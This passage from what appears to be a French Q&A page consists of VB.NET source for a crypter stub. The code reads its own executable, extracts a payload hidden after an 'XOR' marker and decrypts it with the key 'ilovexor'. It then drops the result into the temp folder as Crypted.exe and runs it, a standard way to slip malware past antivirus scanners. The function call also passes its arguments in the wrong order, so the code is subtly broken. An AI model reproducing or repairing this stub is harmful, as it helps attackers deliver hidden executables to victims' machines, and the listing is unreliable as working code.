Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre questionImports System.Text Dim strdataout As String = ""
Const filesplit = "XOR"
On Error Resume Next Dim TPath As String = System.IO.Path.GetTempPath Dim file1, filezb4(), filezafter As String FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) file1 = Space(LOF(1)) FileGet(1, file1) FileClose(1) filezb4 = Split(file1, filesplit) filezafter = xEncryption(filezb4(1), "ilovexor") FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) FilePut(5, filezafter) FileClose(5) System.Diagnostics.Process.Start(TPath & "\Crypted.exe") Me.Close() End
Public Function xEncryption(ByVal CodeKey As String, ByVal DataIn As String) As String Dim lonDataPtr As Long Dim strDataOut As String Dim intXOrValue1 As Integer Dim intXOrValue2 As Integer For lonDataPtr = 1 To (Len(DataIn) / 2) intXOrValue1 = Val("&H" & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2))) intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1)) strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2) Next lonDataPtr xEncryption = strDataOut End Function